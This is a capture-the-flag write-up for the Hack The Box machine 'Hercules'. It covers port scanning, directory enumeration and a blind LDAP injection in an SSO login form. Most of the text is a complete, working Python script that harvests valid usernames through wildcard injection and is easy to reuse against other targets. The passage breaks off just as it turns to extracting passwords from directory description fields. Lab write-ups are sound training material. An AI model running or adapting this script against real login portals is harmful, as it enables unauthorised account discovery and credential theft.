Hercules HTB - Complete Writeup

12

Reconnaissance

Initial Nmap Scan

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://dc.hercules.htb/
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-20 07:36:53Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
|_http-title: Hercules Corp
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Key Findings:

  • Windows Domain Controller (DC.hercules.htb)
  • Active Directory services (LDAP on multiple ports)
  • Kerberos authentication (port 88)
  • IIS web server with SSL redirect
  • WinRM over SSL (port 5986)

website at https://hercules.htb/

An image to describe post

Directory Enumeration

gobuster dir -u https://hercules.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k

Results:

  • /login - Authentication portal
  • /home - Redirects to login
  • /content - Static resources

![[Pasted image 20251020105540.png]]

Initial Access - LDAP Injection in SSO Login

Vulnerability Discovery

The Hercules SSO login page contained a critical LDAP injection vulnerability. Analysis of the input validation revealed:

Flawed Regex Pattern:

data-val-regex-pattern="^[^!"#&'()*+,\:;<=>?[\]^`{|}~]+$"

Critical Omissions: The blacklist failed to block essential LDAP metacharacters:

  • * (wildcard character)
  • & and | (logical operators)

Exploitation Process

Step 1: Initial Testing Testing * as username confirmed LDAP injection through differential response analysis.

Step 2: Boolean-Based Enumeration

  • Valid prefixes returned "Login attempt failed"
  • Invalid prefixes produced different responses
  • Backend likely performed: (&(objectClass=user)(sAMAccountName=INPUT))

Step 3: Automated Username Enumeration Developed a Python script using Breadth-First Search to systematically discover usernames:

#!/usr/bin/env python3
"""
Async LDAP username enumerator with parallel requests.
- Fetches fresh token/cookie before EVERY POST request
- Uses BFS approach with parallel character testing at each level
- Uses httpx for async requests
- Finds complete usernames efficiently

Requires: httpx
pip install httpx
"""

import asyncio
import httpx
import re
from collections import deque
from urllib.parse import quote
import time

# ---------------------------
# Config (edit for your target)
# ---------------------------
BASE = "https://10.10.x.x"        # base URL (scheme + host)
LOGIN_PATH = "/Login"               # POST target path
LOGIN_PAGE = "/login"               # GET page to retrieve token/cookie
TARGET_URL = BASE + LOGIN_PATH      # full POST URL
VERIFY_TLS = False                  # True if cert valid
USERNAME_FIELD = "Username"
PASSWORD_FIELD = "Password"
REMEMBER_FIELD = "RememberMe"
CSRF_FORM_FIELD = "__RequestVerificationToken"  # form field name for token
CSRF_COOKIE_NAME = "__RequestVerificationToken"

# POST settings
PASSWORD_TO_SEND = "test"
DOUBLE_URL_ENCODE = True   # Set True if you need double-encoding behavior

# Async settings
CONCURRENT_REQUESTS = 5     # Lower concurrency since we need fresh tokens
REQUEST_DELAY = 0.2         # Delay between batches to be polite

# BFS / charset
CHARSET = list("abcdefghijklmnopqrstuvwxyz0123456789.-_@")
MAX_USERNAME_LENGTH = 64    # safety limit to prevent infinite loops
VERBOSE = False

# Success indicator (valid user, wrong password)
SUCCESS_INDICATOR = "Login attempt failed"

# Simple regex to extract hidden input token
TOKEN_RE = re.compile(r'name=["\']{}["\']\s+type=["\']hidden["\']\s+value=["\']([^"\']+)["\']'.format(re.escape(CSRF_FORM_FIELD)), re.IGNORECASE)


class LDAPEnumerator:
    def __init__(self):
        self.valid_users = set()
        
    def prepare_username_value(self, username: str, use_wildcard: bool = False) -> str:
        """Prepare username for sending with optional wildcard and encoding"""
        username = username
        if use_wildcard:
            username = username + '*'
        
        if not DOUBLE_URL_ENCODE:
            return username
        
        # Double-encode if needed
        username = ''.join(f'%{byte:02X}' for byte in username.encode('utf-8'))
        return username
        # return quote(username, safe="")
    
    async def fetch_token_and_cookie(self, client):
        """GET the login page and extract CSRF token and cookies"""
        url = BASE + LOGIN_PAGE
        
        try:
            response = await client.get(url)
            token = None
            cookies = {}
            
            # Get cookies from response
            cookies = dict(response.cookies)
            
            # Try to get token from cookie first
            if CSRF_COOKIE_NAME in response.cookies:
                token = response.cookies[CSRF_COOKIE_NAME]
                if VERBOSE:
                    print(f"[i] Got token from cookie: {token[:10]}...")
            
            # Try to parse from HTML
            match = TOKEN_RE.search(response.text)
            if match:
                token = match.group(1)
                if VERBOSE:
                    print(f"[i] Parsed token from HTML: {token[:10]}...")
            
            return token, cookies
            
        except Exception as e:
            print(f"[!] Error fetching token: {e}")
            return None, {}
    
    async def test_single_username(self, username: str, use_wildcard: bool = False):
        """
        Test a single username with fresh token/cookie for each request
        """
        async with httpx.AsyncClient(
            verify=VERIFY_TLS,
            headers={
                "User-Agent": "pentest-enum/1.0",
                "Referer": BASE + LOGIN_PAGE,
                "Origin": BASE,
                "Content-Type": "application/x-www-form-urlencoded",
            },
            timeout=30.0,
            # proxy="http://127.0.0.1:8080"  # Adjust or remove if not using a proxy
        ) as client:
            
            # Step 1: Get fresh token and cookies
            token, cookies = await self.fetch_token_and_cookie(client)
            if not token:
                print(f"[!] Could not get token for '{username}', skipping")
                return False
            
            # Step 2: Prepare the POST request with fresh token and cookies
            username_payload = self.prepare_username_value(username, use_wildcard)
            
            data = {
                USERNAME_FIELD: username_payload,
                PASSWORD_FIELD: PASSWORD_TO_SEND,
                REMEMBER_FIELD: "false",
                CSRF_FORM_FIELD: token
            }
            
            try:
                # Make POST request with fresh token and cookies
                response = await client.post(
                    TARGET_URL, 
                    data=data,
                    cookies=cookies,
                    follow_redirects=False
                )
                
                if 'appp' in response.text.lower():
                    print(f"skipping apppool account")
                    return False

                is_valid = SUCCESS_INDICATOR in response.text
                
                if VERBOSE:
                    status = "VALID" if is_valid else "invalid"
                    wildcard = " (*)" if use_wildcard else ""
                    print(f"[>] {username:20} -> {status}{wildcard}")
                
                return is_valid
                
            except Exception as e:
                # if VERBOSE:
                print(f"[!] Request failed for '{username}': {e}")
                return False
    
    async def test_username_batch(self, usernames, use_wildcard=False):
        """
        Test a batch of usernames in parallel, each with its own fresh token/cookie
        """
        if not usernames:
            return {}
        
        # Use semaphore to limit concurrency
        semaphore = asyncio.Semaphore(CONCURRENT_REQUESTS)
        
        async def bounded_test(username):
            async with semaphore:
                return username, await self.test_single_username(username, use_wildcard)
        
        # Create tasks for all usernames
        tasks = [bounded_test(username) for username in usernames]
        
        # Execute all tasks concurrently
        results_list = await asyncio.gather(*tasks)
        
        # Convert to dictionary
        results = {username: is_valid for username, is_valid in results_list}
        return results
    
    async def discover_first_characters(self):
        """Discover which first characters are valid by testing all charset in parallel"""
        print(f"[*] Testing first characters: {''.join(CHARSET)}")
        
        # Test all possible first characters in parallel
        first_chars = [char for char in CHARSET]
        results = await self.test_username_batch(first_chars, use_wildcard=True)
        
        # Return characters that produced valid results
        valid_chars = [char for char in first_chars if results.get(char, False)]
        print(f"[+] Valid first characters: {''.join(valid_chars)}")
        return valid_chars
    
    async def extend_username(self, prefix):
        """Extend a username prefix by testing all next characters in parallel"""
        if len(prefix) >= MAX_USERNAME_LENGTH:
            return []
        
        candidates = [prefix + char for char in CHARSET]
        results = await self.test_username_batch(candidates, use_wildcard=True)
        
        valid_extensions = [candidate for candidate in candidates if results.get(candidate, False)]
        return valid_extensions
    
    async def verify_exact_username(self, username):
        """Verify that a username is valid without wildcard"""
        result = await self.test_single_username(username, use_wildcard=False)
        return result
    
    async def bfs_discover(self):
        """Main BFS discovery with parallel character testing"""
        print("[*] Starting parallel BFS username discovery...")
        
        # Start with discovering valid first characters
        queue = deque(await self.discover_first_characters())
        discovered_prefixes = set(queue)
        complete_usernames = set()
        
        level = 0
        
        while queue:
            level += 1
            current_level_size = len(queue)
            print(f"\n[*] Level {level}: testing {current_level_size} prefixes {set(queue)}")
            next_level = []
            
            # Process current level in batches
            batch_size = CONCURRENT_REQUESTS
            for i in range(0, len(queue), batch_size):
                batch = list(queue)[i:i + batch_size]
                
                # Test all extensions for this batch in parallel
                extension_tasks = [self.extend_username(prefix) for prefix in batch]
                extension_results = await asyncio.gather(*extension_tasks)
                
                # Process extension results
                for prefix, extensions in zip(batch, extension_results):
                    if not extensions:
                        # No extensions found, this might be a complete username
                        print(f"[+] testing username: {prefix}")
                        if await self.verify_exact_username(prefix):
                            if prefix not in complete_usernames:
                                complete_usernames.add(prefix)
                                print(f"[+] Found valid username: {prefix}")
                    else:
                        # Add valid extensions to next level
                        for extension in extensions:
                            if extension not in discovered_prefixes:
                                discovered_prefixes.add(extension)
                                next_level.append(extension)
                
                # Small delay between batches to be polite
                await asyncio.sleep(REQUEST_DELAY)
            
            # Update queue for next level
            queue = deque(next_level)
            
            if VERBOSE and queue:
                print(f"[*] Level {level} complete. Next level: {len(queue)} prefixes")
                print(f"[*] Valid usernames so far: {sorted(complete_usernames)}")
            
            # Safety check
            if level > MAX_USERNAME_LENGTH:
                print("[!] Reached maximum depth, stopping")
                break
        
        return sorted(complete_usernames)


async def main():
    enumerator = LDAPEnumerator()
    
    try:
        results = await enumerator.bfs_discover()
        
        print("\n" + "="*50)
        print("DISCOVERY COMPLETE")
        print("="*50)
        if results:
            print(f"Found {len(results)} valid usernames:")
            for username in results:
                print(f"  - {username}")
        else:
            print("No valid usernames found.")
            
    except Exception as e:
        print(f"[!] Error during discovery: {e}")


if __name__ == "__main__":
    asyncio.run(main())

Enumeration Results:

admin
auditor
administrator
will.s
mark.s
ashley.b
heather.s
stephen.m
patrick.s
jennifer.a
stephanie.w
jacob.b
bob.w
ken.w
joel.c
jessica.e
natalie.a
fiona.c
tanya.r
vincent.g
nate.h
rene.s
ray.n
elijah.m
clarissa.c
camilla.b
johanna.f
ramona.l
johnathan.j
angelo.o
adriana.i
zeke.s
tish.c

Password Extraction via Advanced LDAP Injection

Extended the LDAP injection to target the description field in AD user objects, which often contains passwords or sensitive information.

Rate Limiting Considerations:

  • 3 rapid requests triggered a 60-second IP ban
  • Required careful timing and concurrency controls

Advanced Injection Technique: